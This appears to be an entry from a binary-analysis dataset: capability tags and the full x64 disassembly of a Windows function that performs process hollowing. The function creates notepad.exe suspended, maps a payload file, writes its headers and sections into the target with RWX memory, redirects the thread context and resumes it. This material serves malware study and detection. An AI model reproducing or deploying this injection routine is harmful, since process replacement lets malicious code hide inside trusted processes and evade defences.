Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Read file via mapping
Resume thread
Terminate process
Use process replacement

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x4d8]
sub rsp, 0x5d8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x4b0], rax
xorps xmm0, xmm0
lea rcx, [rbp - 0x20]
xor eax, eax
xor edx, edx
mov r8d, 0x4d0
mov qword [rbp - 0x30], rax
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x68], rax
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rsp + 0x58], xmm0
call sub.VCRUNTIME140.dll_memset
xor ebx, ebx
mov dword [rbp + 0x10], 0x10000b
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, str.C:WindowsSystem32_notepad.exe
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400010d4
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_process.
call fcn.1400012f0
mov rcx, rax
lea rdx, [0x1400014d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400012be
mov qword [rsp + 0x30], rbx
lea rcx, str.C:WindowsSystem32_notepad.exe
mov dword [rsp + 0x28], ebx
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov qword [rsp + 0x600], r12
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r12, rax
cmp rax, 0xffffffffffffffff
jne 0x140001143
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_open_payload_file.
call fcn.1400012f0
mov rcx, rax
lea rdx, [0x1400014d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x58]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x1400012b6
mov qword [rsp + 0x5f0], rsi
xor r9d, r9d
mov qword [rsp + 0x5f8], rdi
xor edx, edx
mov qword [rsp + 0x5d0], r13
mov r8d, 2
mov qword [rsp + 0x5c8], r14
mov rcx, r12
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x5c0], r15
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
mov rcx, rax
xor r8d, r8d
mov edx, 4
mov r13, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, qword [rsp + 0x58]
xor edx, edx
mov r15, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
movsxd rsi, dword [rax + 0x3c]
add rsi, rax
mov eax, dword [rsi + 0x28]
mov r8d, dword [rsi + 0x50]
mov dword [rsp + 0x50], eax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rsi + 0x54]
mov r8, r15
mov rcx, qword [rsp + 0x58]
mov rdx, rax
mov r14, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edi, ebx
cmp bx, word [rsi + 6]
jae 0x140001232
lea rbx, [rsi + 0x11c]
mov r8d, dword [rbx]
mov edx, dword [rbx - 8]
add r8, r15
mov r9d, dword [rbx - 4]
add rdx, r14
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rsi + 6]
lea rbx, [rbx + 0x28]
inc edi
cmp edi, eax
jl 0x140001200
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [rsp + 0x50]
lea rdx, [rbp - 0x20]
mov rcx, qword [rsp + 0x60]
add rax, r14
mov qword [rbp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x5c0]
mov r14, qword [rsp + 0x5c8]
mov r13, qword [rsp + 0x5d0]
mov rdi, qword [rsp + 0x5f8]
mov rsi, qword [rsp + 0x5f0]
mov r12, qword [rsp + 0x600]
mov rcx, qword [rbp + 0x4b0]
xor rcx, rsp
call fcn.140001590
add rsp, 0x5d8
pop rbx
pop rbp
ret